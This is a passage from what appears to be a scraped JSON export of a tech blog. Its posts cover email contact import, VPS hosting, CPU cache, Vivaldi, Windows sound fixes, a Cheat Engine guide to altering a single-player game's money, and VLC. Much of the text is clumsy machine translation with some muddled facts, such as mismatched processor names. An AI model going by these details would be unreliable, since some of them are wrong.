Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqilr8etsYygmKado2K8r3nPoaannaM%3D\n","link":"/post/top-10-puzzle-games-on-phones/","section":"post","tags":null,"title":"Top 10 puzzle games on phones"},{"body":"The most worrisome thing when switching to other webmail is that it is impossible to bring the list of contact email from the old mailbox. This is also why Yahoo! Mail adds features to import contacts from your Gmail account, Windows Live Hotmail or Facebook . After logging in to your Yahoo! New mail created, click on the link Get started under New line ! Import Contacts from other accounts to Yahoo! in What's new card to exploit this new feature. At the Contacts tab, click on the Facebook, Gmail, Windows Live Hotmail icons for the account you want to import contacts into Yahoo! Mail. Here I choose Gmail .\n  Select the account you want to import contacts into Yahoo!Mail\nIn the Step 1 - Select Source window , open the Gmail address and password to enter the Email Address and Password boxes under the Gmail / GoogleMail section . If you want to import more contacts from your Windows Live Hotmail, AOL or Orkut account, check the Hotmail / Windows Live / MSN, AOL or Orkut options, then enter the corresponding account login and password into Two Email Address and Password boxes below. Similarly, you tick the Another Yahoo! Contact if you want to import more contacts from your Yahoo! My previous mail, then fill in the two boxes below. The option A desktop email program (Outlook, AppleMail) allows you to import contacts of the email account installed in the mail client (such as Outlook) based on the csv or vcf file (click the Browse button and select this file). Under the More Services field are seven other services that you can choose to import contacts into Yahoo! Mail, including: Aim.com, Comcast, EarthLink, Freenet.de, Laposte, Verizon, Web.de. Select it, check the I give Yahoo! permission to send . below then click the Continue button to start the process of receiving contacts from accounts you want to import into Yahoo! Mail.\n  Declare account login information to import contacts\nWhen the Step 2 window - Select Contacts to Import appears , all contact email addresses received from other accounts are pre-selected to wait for import into Yahoo! Mail. Of course, you can uncheck the email addresses you don't want to import, and then click the Import button to do so.\n  Select the email address you want to import\nGo to the Step 3 - Notify window, you can tell your friends about your Yahoo! My new mail by checking the email address of the person who wants to notify or tick the Select all box to select all, then edit the content of the message sent under Subject: I have a new Yahoo! email address (or keep the pre-set content), then click the Finish button to finish.\n  Notify friends of Yahoo!My new mail.\nNote : In testing, importing contacts from Gmail accounts is sometimes not possible . - The above list import feature is not present in Yahoo! Mail Classic version.\nncG1vNJzZmismaXArq3KnmWcp51kwbOtzaydnqpdmLyvwMCcq6xllqe8rnnGppiipF2dvLW5wKKjZp6RmLKju86kZK2nXa6uqbvOZqSaoZw%3D\n","link":"/post/transfer-contacts-from-gmail-hotmail-facebook-to-yahoo-mail/","section":"post","tags":null,"title":"Transfer contacts from Gmail, Hotmail, Facebook to Yahoo! Mail"},{"body":"So the server that you choose with must match the size and business needs of the business. Before learning what a Dedicated Server is, you should learn an overview of the following issues right away!\nWhat is VPS and Dedicated Server? There are many types of servers to choose from, and it can be quite complicated if you are not very tech-savvy. However, in this article, Semtek Co,. ltd will provide explanations to help you understand and have the best view and choose the optimal solution for your business.\n1. What is VPS (Virtual Private Server)? VPS stands for Virtual Private Server. A VPS is like a shared host, that is, there are many VPSs placed on the same physical server, serving the needs of large websites, but the price of buying VPS is higher than that of a shared host. The cost of a VPS virtual server is higher than that of a shared host because shared host packages are all sharing resources from a physical server with very low allowed resources.\nFor example, if you have a server with 6 cores/12 threads, but will create 3 different VPS with parameters of 2 cores/4 threads and that VPS package will create 50 shared host packages using the same resources from 2 cores/4 threads. cores/4 threads. This means that with 2 cores/4 threads, you will split between different shared host packages and the resources from this configuration will be shared with each other, using no more than the allowed processing capacity of 2 cores/ 4 threads.\n2. What is Dedicated Server? Dedicated server is a type of hosting on the internet where users can rent an entire server, not sharing it with anyone. Dedicated servers are usually located in the data server center and are provided with redundancy features in terms of resources, power, etc. to ensure the safety of the server.\n3. Which choice for your business between: VPS and Dedicated Server? In fact, both are servers, and perform similar functions. They are connected to a computer network or the internet, have a static IP, have high processing capacity and on which people install software to serve other computers to access to request services. and resources.\nThe data protection of both VPS and Dedicated Server is extremely effective through optimized and streamlined configurations, firewalls, tiered data access policies, and strong relationships with clients. security expert.\nBoth have access to exponentially more resources. This includes storage, RAM, bandwidth, email, nameserver assets, and more.\nCompare VPS with Dedicated Server To find the ultimate web hosting solution, we need to prioritize security, scalability, efficient data delivery, and reliable hardware resources. Then we can start looking at the advantages and differences between VPS and Dedicated Server.\n  1. Advantages of VPS Cost Hosting on a virtual private server (VPS) is usually a cheaper solution than a dedicated server (Dedicated Server). Because there are many customers on one physical space and it is possible to split the cost of hardware operations among everyone. Basically, for VPS the customer pays for a small portion of the server but still has access to the full performance of the entire hardware.\nAbility of extension Virtual servers are much more flexible than dedicated servers. With a client using only a fraction of the resources available on a physical server, those resources can be allocated without any changes to the hardware.\nA dedicated server also provides customers with access to the full resource base of the hardware. However, scaling resources requires adding locations or modules to the physical server and can be costly and time consuming.\n2. Advantages of Dedicated Server Resources The number one reason that most companies choose a dedicated server (Dedicated Server) is to take advantage of dedicated, adequate resources. No virtual server can match the top dedicated servers when it comes to CPU power, memory, processing resource-intensive software modules, storage space, and attributes based on resources. on other hardware.\nSecurity A dedicated server is considered more secure than a virtual private server when it comes to malicious attacks from an external source. With only a single client on the server, efficiently managed resources help prevent potential security breaches.\nYou can also manage software installations and other digital expansions with greater efficiency. This reduces the possibility of viruses or other malicious attacks from using trusted software.\nSpeed A dedicated environment like Dedicated Server is a speed advantage. In a dedicated environment, Dedicated Server allows data transmission without any latency. This results in faster website load times and early requested response actions.\nConfigure \u0026amp; Customize A dedicated server (Dedicated Server) will allow webmasters to configure the server as they wish. There are configurations that are almost impossible when it comes to VPS environments. For example, you obviously cannot install anything that would compromise the security or integrity of other clients on the server. You also have less space in a VPS environment to install large-scale software packages. Due to memory and memory allocation constraints, you may not be able to move in a full stack, depending on how big it is.\nManagement If you need to reconfigure or maintain, dedicated hosting environments often prove to be a much more efficient service. With a managed solution, server technicians and software engineers in the dedicated space don't have to wade through competing data streams to solve your problem.\nSo VPS and Dedicated Server: Which should you choose? A virtual private server and a dedicated server are clear differences. Which one is perfect for your business depends on specific criteria and specifications.\nFor growing businesses, small and medium sized companies with steady web traffic can learn about VPS environments. Large enterprise-class companies will often be better suited for a dedicated server.\n  Check and answer the questions: Do you have staff to handle ongoing maintenance? Can you upgrade the internal hardware? Is your company looking to scale? Have you quantified this growth over the next 5 to 10 years? Depending on your answer, you may have a choice for your business.\nYou should choose a foundation for now and five years from now. One aspect many companies overlook is the ability to scale. If you invest in a dedicated server, you will always pay for the same amount of resources. It might be a waste of money if your needs decrease over time.\nThe server world is ever-changing and constantly evolving. With increasing technology as well as an increasing number of security threats, it is impossible to prepare for everything. The storage solutions you choose are the 'backbone' of the digital operations of your business. So compare prices only after your security, flexibility and configuration needs for the company are covered.\nCurrently, HostZealot Hostings provides high quality web hosting to both corporate and private customers since 2009. HostZealot team has extensive experience in hosting and managing servers for business projects. Online businesses vary and in each particular case, our work is appreciated. Here are the advantages when you use the host service at HostZealot:\nGreat pricing: Offers only the best hosting at a reasonable price based on modern, high-performance equipment. 99.9% Uptime: We guarantee 99.9% server uptime, so we provide constant access to our clients' online projects. Quick Configuration: Order a dedicated server with quick configuration that allows you to set up a reliable and high-performance environment in half an hour. No contract: It also means you can cancel your service simply by not extending it. In this case, your server or web server will automatically expire on the expiration date. Easy Upgrades: Configuration changes connected to server upgrades do not result in data loss or unexpected interruptions in hardware operations. Moreover, you won't even have to change your IP address. Enterprise Servers: No desktop solutions, only real modern server hardware from SuperMicro, HP, Dell, Juniper, Cisco. Is dedicated server necessary for high traffic web? One of the things that bloggers, and internet-marketers have the hardest time deciding, is choosing a hosting plan. The big question is how to decide whether to buy shared hosting or dedicated hosting?\n1. Before we jump to conclusions, let's start learning about the following 2 issues Shared hosting: Small businesses and new blogs mostly run on shared hosting. Due to the cost is suitable and quite low. And this hosting also includes the bandwidth and storage to handle the traffic for those websites.\nDedicated hosting: If your blog or business is getting around 100K hits per day. And the number of visitors is growing at a fast rate. You are better off moving your website from shared hosting to dedicated hosting When your blog gets a huge traffic. If your blog or website faces a lot of downtime problems. This not only reduces traffic, but it also reduces the credibility of your blog. 2. Why you need a dedicated server for your high-traffic website Faster loading times Users are those who do not have time for a web page to exceed 5 seconds. Otherwise visitors will not like to visit your site again Unless your page is in the top within 1 or 2 seconds. When you rent a server server you will have not faced such problems.\nDownload server When your website is getting huge traffic every day. It's your shared hosting server that's carrying out some very large payloads. And in the end what happens is your server slows down, affecting quite a few things. However, when you use dedicated hosting this type of problem is easily remedied.\n  Guard If you are concerned about your online business and its reliability. Instead of shared hosting, you need to go with dedicated hosting. The reason is quite simple. When you use shared hosting, the company will ensure the security of your website. But if there is a violation you will not be able to control yourself in the best way. However, when you choose a dedicated server (dedicated hosting) for your website. You will be able to customize and have total control over the security of your website. So in short, you will be responsible for the security of the website.\nConclude Overall, dedicated hosting seems to be more secure and reliable. Although it is more expensive than shared hosting. But when it comes to handling heavy traffic and traffic, dedicated hosting seems to be a much better option.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWUmrGqr8CtnJ1lo5q%2Ft7HRZqqhp6WhsW7Fzq5knKCfpMCmedWpqmanomKxprDInJitnZRiwKa%2B1Z6p\n","link":"/post/what-is-dedicated-server-should-you-choose-vps-or-dedicated-server/","section":"post","tags":null,"title":"What is Dedicated Server? Should you choose VPS or Dedicated Server?"},{"body":"The RAM in the computer is responsible for giving data to the CPU to handle tasks. Therefore, CPU processing speed will be limited by the speed of reading and writing data from RAM.\nOn the computer's motherboard, we will see whether CPU and RAM are placed close to each other but there is a certain distance between them. This distance compared to the size of each transistor on the processor is very large. So why don't computer designers put CPU and RAM right on the same die to reduce the distance between them and speed up the processing speed?\n  Memory of CPU - cache\nIn fact, even within the CPU itself, there is a separate RAM area called cache but usually only a few MB capacity. Because it is much more expensive than RAM, it will cost the CPU price higher, depending on its memory capacity.\nThis cache helps the CPU minimize processing time while waiting for data from RAM to be transferred.\nWhen you need to process a data, the CPU will first search the cache first to see if the cache has read / written that value recently. If the cache is available, the CPU will use the value there to get the fastest processing speed. If not, the new CPU finds RAM to get the value it needs.\nSo, in order for the CPU to increase processing speed and simplify the design, why do chip designers not increase the cache capacity to the same amount of RAM?\nIn fact, for the CPU to achieve the high speed required, its cache uses static RAM or SRAM. However, even though SRAM is very fast, the amount of power it consumes is huge, not to mention it is quite cumbersome.\n  To store a data \"bit\", SRAM needs 6 transistors. This means that 48 billion transistors are needed, in order to have an SRM wall of 1 GigaByte capacity (GB). If compared to the number of transistors on the CPU, that would be a terrible number. Even Intel's Broadwell-E 6-core Core i7-3960X processor only has 2.27 billion transistors, and of course its cache is only 15 MegaByte (MB).\n  A description of the computer processor.\nIn the picture above, it is not the computer processors but the integrated circuits of the memory that are the most complicated and space-consuming components. So, if we increase the size of the on-chip cache, we won't have room to put the CPU. Of course, with a limited size, it is obvious that the processor cache has a capacity of several MB per chip.\nOne of the important issues preventing the increase in cache capacity is cost. The cache itself is made from expensive SRAM, increasing capacity will make the processor cost per CPU and cache increase.\nWhy not use other types of memory cheaper?\nToday's computer RAM modules are made from DRAM, which is cheaper and larger in capacity. In addition, DRAM has a neat structure, only need a transistor for each bit of data. The downside of DRAM is that it is significantly slower than SRAM.\nSo, why do designers not put DRAM in the CPU to increase the speed and memory capacity for the processor? In fact, Intel has applied that architecture but cannot replace the role of regular RAM.\n  EDRAM's position in Intel's Haswell processor.\nStarting from the Haswell generation chip, Intel has integrated a DRAM memory on the same die chip with the CPU, called eDRAM (or Embedded DRAM - embedded DRAM). On the Coffee Lake generation chip, Intel still uses this eDRAM.\nHowever, although the new architecture has the advantage of performance, it still cannot replace both SRAM and conventional DRAM. The reason is speed, because even when integrated right on the die chip next to the CPU, it still has slower clock speed than the CPU clock, while SRAM has the same clock speed as the CPU. In addition, to not lose data DRAM needs to be constantly refreshed thousands of times per cycle, while that is not needed with SRAM. Therefore, the delay of DRAM or eDRAM is still much larger than that of SRAM and they are only used as L3 or L4 cache next to the CPU.\nCurrently, eDRAM on CPUs is only 128 MB, while the RAM bars now have capacity up to GigaByte. The huge disparity in capacity also makes eDRAM irreplaceable DRAM.\n  Intel Kaby Lake G Core i7-8705G is designed with processor with CPU, GPU and RAM attached on a die chip.\nUntil recently launched Kaby Lake G chips, Intel has just begun to use processors with CPU, GPU and large amount of RAM placed on a single die chip but still have the usual RAM .\nAlso, different ways of doing things are one of the reasons eDRAM is not a substitute for DRAM. On cache, the data is addressed the same and can be deleted at any time. In RAM, data is placed in separate locations for each application.\nIn addition, packing RAM and CPU together will make it difficult to upgrade. People may be forced to buy the CPU if they want to increase the amount of RAM, which causes unnecessary waste.\nOverall, packing computer CPU and RAM into a single block provides less practical value than the current separation. The CPU itself has integrated many different types of internal memory that can help it increase processing speed significantly.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJqpnqakYrCxwYyapZ1lopa6bq%2FOpqeurJWnwG68wJyinpxdqbyosdOhnKtlpKR6qrrCq5yaq5VivbO7wp6qrKGenHq0vMSemw%3D%3D\n","link":"/post/why-aren-t-cpu-and-ram-computers-packed-together-to-increase-processing-speed/","section":"post","tags":null,"title":"Why aren't CPU and RAM computers packed together to increase processing speed?"},{"body":"Vivaldi is the only fast, flexible and useful browser built on the Chromium project, bringing the best features from Opera and Google Chrome browsers, and combining them in a single browser.\nVivaldi includes innovative features useful for both general and advanced users. It helps navigate faster, smarter web browsing, extensive tab management, smart bookmarking and gives users a more intuitive approach when browsing the web. Vivaldi is available for Mac version 10.9 and above, Windows 7 and above and Linux.\nThis article will show you 12 great features that help Vivaldi outperform all other browsers.\n12 great features of Vivaldi browser 1. Quick Commands feature: Quick control and tweaking 2. Speed ​​Dial feature: Intuitive bookmarks for smarter web browsing 3. Features Fast Forward and Rewind: Helps to navigate quickly 4. Features Notes: Save your thoughts 5. Web Panels features: View web pages simultaneously 6. Sessions: Manage sessions manually 7. Visual Tabs feature: Preview the content of the tab 8. Tab Stacks feature: Stacking tabs 9. Tiling Tab feature: See convenient tab 10. Trash Can Features: Quickly restore pages 11. Nickname Bookmarks feature: Access bookmarks faster 12. Adaptive Interface Features: Configure user interface components 1. Quick Commands feature: Quick control and tweaking Vivadi's Quick Commands feature allows you to search almost everything, from bookmarks and browsing history to configuration settings and open tabs from the same location. It can be activated with F2 key to open the dialog box at the top of the page.\nEnter your search query to find what you need. The shortcuts for various commands / tasks are also displayed next to the search results.\n  2. Speed ​​Dial feature: Intuitive bookmarks for smarter web browsing Speed ​​Dial is similar to a feature included in Opera, but in Vivaldi, it was created to help you access your favorite pages through intuitive bookmarks. You can create and name folders or groups, based on your site category or preferences.\nFor example, you can group all of your favorite news sites into a folder called News and do the same with Social Networks , as well as other web groups.\n  3. Features Fast Forward and Rewind: Helps to navigate quickly Vivaldi introduces \" Fast Forward \" and \" Rewind \" buttons for faster navigation between pages. While 'Back' and 'Forward' only take you to one page at a time, \"Fast Forward\" and \"Rewind\" allow you to navigate smarter. Fast Forward helps you navigate to the following page of the website you are visiting. Rewind takes you back to the first page you visited on a specific website or domain.\n  4. Features Notes: Save your thoughts The Notes feature in Vivaldi, allows you to write notes to save your ideas or thoughts. These notes can contain text content, screenshots of web pages, attachments and even links to a specific website.\nWith Vivaldi's Notes feature, you no longer need the third-party note application. The easiest way to create a note is to select any content on the web page, right-click and select Add Selection as New Note .\n  Another method to create notes is to click on the Notes icon in the side panel and click the + button. All saved notes can be accessed from this control panel. Only Edge browser has the same note tool.\n  5. Web Panels features: View web pages simultaneously Web Panels feature in Vivaldi allows users to place a web page in a control panel on either side of the main window. It works just like the main browser window and in this space, you can track the happenings of a news story, check your social networking sites and chat with people.\nTo launch a web page in Web Panel, follow 1 of 2 ways:\nRight-click on the website and select Add Page to Web Panel . Click the + sign on the left panel and enter the URL of the site.   When doing this, the site will be displayed in the control panel. Its size can be adjusted according to your requirements. In this example, a Twitter page has been added to the Web panel, allowing users to view tweets on the timeline, while continuing to browse the web.\n6. Sessions: Manage sessions manually Vivaldi allows users to save a series of opened tabs as a Session, which can be named to reopen in the future. To save a session, you need to switch to File\u0026gt; Save Open Tabs as Session .\nYou can also name sessions so that you can easily remember and organize sessions. To open a saved session, go to File\u0026gt; Open Saved Session . and select the name of the session from the dialog box.\nAlthough in Chrome and Firefox, users can also save sessions automatically when exiting the browser, but it only reopens the sessions available at the time the browser is closed.\n7. Visual Tabs feature: Preview the content of the tab Vivaldi's Visual Tabs feature allows you to browse through the content of open tabs, when you hover over that tab. A small window preview will appear and let you preview the contents of each tab.\nThis will be useful when there are too many tabs open. To preview a tab, just hover over that tab to quickly see the content.\n  You can also preview all open tabs directly without hovering. Just click on the line between tabs and the address bar, then drag down to display the small windows of each tab. You will receive a preview of all opened tabs.\n  To enable the Visual Tabs feature, if it is not activated in Vivaldi, open Settings , select Tabs in the left panel and in the Display Tab section, select Show Popup Thumbnails and Show Tab Thumbnails .\n8. Tab Stacks feature: Stacking tabs If you are a user who likes to see fewer tabs on the bar tab, Vivaldi also lets you stack the tabs you want to open. The feature called Tab Stacks, works just like the combined buttons of the Windows Taskbar. To stack tabs, drag one tab to another. If the tab displays a subdivision at the top, it means that the tabs are currently stacked.\n  To access the tabs on the stack, simply hover over the stacked tabs and it will display thumbnails of all the stacked tabs. Click on the tab you need to access it.\n9. Tiling Tab feature: See convenient tab The Tiling tab in Vivaldi allows you to view two or more pages at once. You can conveniently display stacked tabs or single tabs side by side or in grid layouts. Selected sites, by default, will display side by side.\n  In the status bar of the Vivaldi window, there is a ' Page tiling ' button located near the Zoom indicator tool. This button can be used to select and change tab types. Tabs can be arranged in different styles by right-clicking on the stack and selecting Tile Tab Stack in the menu.\n10. Trash Can Features: Quickly restore pages The Trash Can feature in Vivaldi is a tab management feature that helps you recover closed tabs or block pop-up windows quickly. If the tabs are closed unexpectedly, just click the Trash Can icon in the bar tab and select the closed tab from the menu to reopen it.\n  This option in Vivaldi is faster than similar options found in other browsers. You can press Ctrl + Shift + T to reopen closed tabs but they can only be reopened based on the order in which they were closed.\n11. Nickname Bookmarks feature: Access bookmarks faster In Vivaldi, each bookmark can be assigned a nickname for faster access. This nickname can be entered directly into the address bar to quickly download the linked site. It's like when we type fb for Facebook, instead of typing it all from Facebook, but the same thing can be applied to many other websites you want to bookmark.\n  12. Adaptive Interface Features: Configure user interface components Vivaldi browser interface can be adjusted and customized according to your needs or options. You can modify the interface by changing:\nLocation of the tab bar (top, left, right or bottom) in Settings\u0026gt; Tabs. Location of the panel (left or right) in Settings\u0026gt; Panel. Location of the address bar (top or bottom) in Settings\u0026gt; Address Bar. Bookmark location (top or bottom) in Settings\u0026gt; Bookmarks.   Another interesting feature of Vivaldi is the color scheme, which will adapt to the color of the website you are browsing.\nFor example, if you're browsing Facebook, Vivaldi's tabs and controls will turn blue.\n  See more:\nTo increase productivity and speed of Vivaldi browser, you should not ignore the tips and tricks later Instructions for installing Adobe Flash on Vivaldi browser Finally, Vivaldi browser also added support for synchronization ncG1vNJzZmismaXArq3KnmWcp51kfnN5xqucmqxdm7KiwNSrnKxln5t6t7XVmqOdoV2Xv7DD0p6p\n","link":"/post/12-great-features-of-vivaldi-browser/","section":"post","tags":null,"title":"12 great features of Vivaldi browser"},{"body":"Even those who like quiet space, the silence in this room feels fear and despair. Because here not only does not have any sound but even the sound you emit cannot be resumed because it has been perfectly suppressed.\nThis room is called the quietest place in the world built by Microsoft right inside the company's headquarters in Redmond City (USA) to serve the intensive work of fine-tuning and manipulating sound effects for Its products are like speakers, headphones or even clicks. This room is designed with the most complete calculations to eliminate any noise from outside as well as any sound inside.\n  The panoramic view of the quietest room in the world.\nTested and tested devices will be brought into this room to record the sounds they emit. The recorded sound for testing is almost absolutely accurate because the noise noise has been suppressed. This helps them make accurate or bad quality assessments. If the loudspeaker is not deep enough, the mouse click is too compact, they will recognize and fix in another version.\nHowever for many people, being stuck in this room for so long is no different from torture. The guests who visited this room said they heard a breath or their own stomach. It is this that makes them feel confused and cannot stay there for too long. So far, no one has dared to stay in the world's quietest room for more than 45 minutes.\n  Hundraj Gopal, who led the construction and design team, said the room said that many people could not bear the feeling of hearing and feel the small noises so they often demanded to leave immediately after they left. in 1 minute.\nThis room has a cube shape, with dimensions of only 6.36m in length. To block noise from outside, the wall of the room is made up of 6 concrete layers, each of which is 30cm thick. Engineers use a porous material made of fiberglass, arranged in the most effective de-draping pattern to cover the walls, floor and ceiling inside. In addition, the floor surface is also supplemented with a net made of steel cable over the foam surface.\nThe total cost to build this room is 1.5 million USD.\n  The engineers deliberately left the empty space between the outermost layer of this room and other rooms.\n  The steel mesh is on the floor.\nGopal adds, the room's ability to block the voice is up to 120dB. This means that if you are in this room you will not hear any sound from outside even though a jet is roaring right outside the wall.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2Fwqitnqpdorakvs6spp%2Bso2K%2BtrXErZysrF2nvLC5jKKlZqyYmnq4u9Glm2amn2K8r7GMnJinZaOprq%2BwjJ%2Bmq2WdpL%2BmedOhmKdlZGp6rrXNrqueqw%3D%3D\n","link":"/post/discover-microsoft-s-quietest-room-in-the-world-no-one-can-stand-for-more-than-45-minutes/","section":"post","tags":null,"title":"Discover Microsoft's quietest room in the world, no one can stand for more than 45 minutes"},{"body":"This week, Fujitsu will launch a new laptop with wooden casing instead of traditional materials like plastic or metal, to increase the environmental friendliness of the product. The new laptop is a model, using cedar wood as a shell, and using bio-plastics for other parts of the computer. Bioplastics are plastics produced from renewable resources such as vegetable oils instead of kerosene used in traditional plastics.  The new laptop will be called Fujitsu and Monacca, a Japanese design team specializing in wooden products. Monacca makes many products, from household items to wooden bags, and sells on its website. Recently, Monacca also launched a portable computer case with a wooden case. Although a completely wooden PC is not a goal Fujitsu aims for, but since 2002 it has been moving towards using bio-plastic materials for its products. The laptop model of Biblo NX95 uses up to 30% of bioplastic material to make the case.\nncG1vNJzZmismaXArq3KnmWcp51ks7a2yK2qrmWZo8Gzu8Oump6cXZZ6uLvOnZynZZyWvbW7z2aamquV\n","link":"/post/fujitsu-introduced-a-wooden-laptop-case/","section":"post","tags":null,"title":"Fujitsu introduced a wooden laptop case"},{"body":"Mexican mole lizard is a strange creature, a mystery of wild nature. The appearance of this creature is different from that of a snake and earthworm or resembles a mole by a short leg in front.\n  This is a species of worm family that lives mainly in Baja California, Mexico. The Mexican mole rat has a long, shiny body but scales. This lizard species can be up to 25cm long. This animal often spends most of its time digging burrows like moles.\nTheir way of moving is also very strange. Their forelegs are used as paddles to push people forward and pull the back body up.\n  Mexican mole lizards are nocturnal creatures, hidden deep beneath the soil layers but will appear if there is heavy rain so it is difficult to see them during the day. Their food is ants, termites, bugs and even earthworms. In order to destroy the prey, the creature crosses between the snake, the worm and the mole, and submerge the opponent to the ground and \" beat the cup \".\nThis guy lays eggs under the ground. The female will lay about 1 to 4 eggs in July. Eggs will hatch after about 2 months.\nMexican mole rats are known to be one of only two reptiles that have two extinct non-extinct genera in the world.\nncG1vNJzZmismaXArq3KnmWcp51ktaLAxGarqGWdlrimecBmqq2qkaO0pnnSp5iknV2htrut0Z2joqOVYrCzscCtrKud\n","link":"/post/hate-to-make-a-strange-snake-lizard-like-creature/","section":"post","tags":null,"title":"Hate to make a strange snake lizard-like creature"},{"body":" Volume issues are very common on a Windows computer. The issues can usually be fixed by adjusting the settings or reinstalling the audio drivers. This wikiHow teaches you how to fix volume and sound issues on your Windows computer. Check...\nMethod 1of 2:\nFixing Volume and Sound Loss Issues on Windows  Check the cables. If you are using an external device, such as speakers or headphones, check to make sure the cables are in good working order and connected to the proper audio port on your computer. If your speakers require a power source, make sure they are plugged into an electrical outlet and/or AC adapter.[1]\n  Check the volume. If you are using external speakers or headphones that have an independent volume, make sure the volume is turned up and that the \"Mute\" button is not engaged. You can also use the following steps to check the volume on your Windows computer: Click the Windows Start icon in the taskbar. Type \"Adjust volume.\" Click Adjust Volume. Use the slider bar below \"Change device volume\" to adjust the volume on your computer.   Check the sound and volume settings on individual applications. Check to see if you are having volume problems on all apps, or just one specific app. If you are experiencing volume problems on just one app, the problem may be with the sound settings for that app. For example, Spotify has a volume slider bar in the lower-right corner of the desktop app. You can also adjust the volume on YouTube videos by clicking the speaker icon and adjust the slider bar. Games may have their own sound and volume settings in the Settings or Options menu.\n  Use a troubleshooter. Windows computers come with built-in troubleshooter app that can help you fix volume issues. The Troubleshooter will ask you a series of questions that will help the troubleshooter determine the cause of your volume issue. It may also ask you to open specific settings and suggest that you make changes to the settings. Use the following steps to open the Windows troubleshooter:[2] Click on the Windows Start icon in the taskbar. Type \"Troubleshoot Settings\". Click Troubleshoot Settings. Scroll down and click Playing Audio. Click Run the Troubleshooter. Follow the instructions in the window.   See what playback device is selected. If the sound is not playing from your computer, this may be because the wrong playback device is selected. For example, if the computer is set to play sound through headphones, sound may not come out of external speakers. Use the following steps to see what playback device is selected: Click the Windows Start icon in the taskbar. Type \"Control Panel\". Click Control Panel. Click Hardware and Sound. Click Manage Audio Devices. Click the correct audio device. Click Apply. You can also right-click on an audio device and click Test to test the audio device.    Check the sound card. Most modern computers have a built-in Realtek sound chip used to process audio. However, some older computers may use a third-party sound card to process audio. If your computer speakers plug in to a sound card on the back of your computer, you may need to open your computer and make sure the sound is installed properly. Use the following steps to make sure a sound card is connected to your computer: Click the Windows Start icon in the taskbar. Type \"Device Manager.\" Click Device Manager. Double-click Sound, video and game controllers. Check to make sure an audio device is listed below \"Sound, video and game controllers.\"   Check for updates. Sometimes, your audio drivers may be out-of-date and causing problems on your computer. Use the following steps to check for Windows updates: Click the Windows Start icon in the taskbar. Type \"Check for updates\" Click Check for updates in the Start menu. Click Check for updates in the Windows update menu. Click Download and install now.   Install drivers for your audio device. If you are using a third-party sound card, you may need to install the drivers for your sound card. The sound card should have come with a CD that you can use to install the drivers for your sound card. If you do not have the CD, you can check the manufacturer's website for a download of the audio drivers. Download and install the audio drivers for your sound card.\n  Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmraikpaKybrvNZrCoraJisLC5z66rnqpdnrtuw8inm6ivow%3D%3D\n","link":"/post/how-to-fix-the-volume-on-your-computer-in-windows/","section":"post","tags":null,"title":"How to Fix the Volume on Your Computer in Windows"},{"body":" Radiant Defense for Windows 8 is a fun tower defense game, in which you defend your base from aliens. This tutorial will teach you how to hack Radiant Defense on Windows 8 using a free tool called Cheat Engine. Download and install Radiant...\nMethod 1of 2:\nUsing Cheat Engine Only  Download and install Radiant Defense and Cheat Engine.\n  Open the Radiant Defense App.\n  Leave the app running in the background and open Cheat Engine on your desktop.\n  Click the computer icon and locate the Radiant Defense process. Double click on it to attach cheat engine to it.\n  Resume Radiant Defense and start a mission.\n  Build a turret and upgrade it once to the 'Improved' level.\n  Go to Cheat Engine and key in the value '1' in the value field and click 'First Scan'. A lot of addresses will show up on the right.\n  In Radiant Defense, upgrade the turret you built again to the 'Advanced' level.\n  In Cheat Engine, key in '2' and click Next Scan. The number of values on the right will decrease.\n  Go back to Radiant Defense and upgrade the turret yet again to the 'Elite' level.\n  In Cheat engine, key in '3' and Click on next scan. This should leave you with only one address on the right. Double click that address and it should appear on the bottom.\n  Double click on the value of the address and change it to '4'. Check the box marked 'Active'.\n  Go back to Radiant Defense and click on an empty space and then click back on the turret. It should sell for a much higher price than what you bough it for.\n  Keep on buying more of the same kind of turret and selling it for a much higher price than what you bought it for until you have enough money.\n  When you have enough money, disable the hack by unchecking the 'Active' box in Cheat Engine. You have successfully hacked Radiant Defense!\n Method 2of 2:\nUsing Cheat Engine And The Radiant Defense Conversion Tool  Download the Radiant Defense Conversion Tool and Cheat Engine.\n  Open both the hack tools and Radiant Defense.\n  Click on the computer icon on Cheat engine located on the top left and double click on the Radiant Defense process.\n  Start a mission in Radiant Defense and note the money you have.\n  Open the Radiant Defense Conversion Tool and key in the money you have in the first box to receive a corresponding value in the second box.\n  Copy the value received and paste it into the 'Value' field of Cheat Engine.\n  Scan for the value to receive one address on the left.\n  Double click the address to load it in the table below.\n  In the conversion tool, key in the money you want in the first field to receive a corresponding value in the second field. Copy the value.\n  Double click on the value of the address in the table in cheat engine and change it to the value you copied from the conversion tool.\n  You will now have the money you typed into the conversion tool. Have fun!\n  David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRmLhuvsCdoJqmpGKxprLEp6qeZZ%2Bjeri1zZ2msKtdbXq2v8innmabmJqutXnEp56ippU%3D\n","link":"/post/how-to-hack-radiant-defense-on-windows-8-using-cheat-engine/","section":"post","tags":null,"title":"How to Hack Radiant Defense on Windows 8 Using Cheat Engine"},{"body":"If you have taken a video of your recent vacation but are not happy with the audio in the video, you can remove these sounds from the video and use other sounds or completely remove the sound. From there can be shared with friends or uploaded to YouTube. Therefore, this article will guide you how to extract audio, separate audio from video on VLC and YouTube online.\nHow to separate audio, separate audio from videos in VLC and YouTube Users remove audio from video and replace it with other audio for different purposes. There are many tools to extract audio from video, from online tools to PC video editing software, available online.\n  But if you are looking for an easier way to extract audio from videos without installing third-party software, follow the method below.\nHow to extract audio from video in VLC Media player VLC is one of the most popular and free open source players available for most devices. People like this free video player because it's easy to use, fast and powerful. If you have installed VLC on the system, you don't need third-party software to extract audio from video. Here are the steps:\nStep 1 : First, open VLC on your computer and access the Media menu, select the Convert / Save option (Ctrl + R) .\n  Step 2 : On the Open Media window, click the Add button and then select the video file whose audio you want to remove. After selecting the video file, click the Convert / Save button.\n  Step 3 : Now on the Convert window, first select the Profile you want to convert the video to and then click on the Edit selected profile icon to edit the selected profile .\n  Step 4 : On the Profile edition window, go to the Audio codec tab and uncheck the Audio option, then click the Save button to save the settings.\n  Step 5: Finally, click the Browse button and select where to save the converted video file, then click the Start button to start the conversion process.\n  Conversion time depends on the length of the video you are editing. When the conversion is complete, you open the video and will not hear any sound.\nHow to extract audio from videos on YouTube In case, you do not have the VLC player on your laptop or you cannot 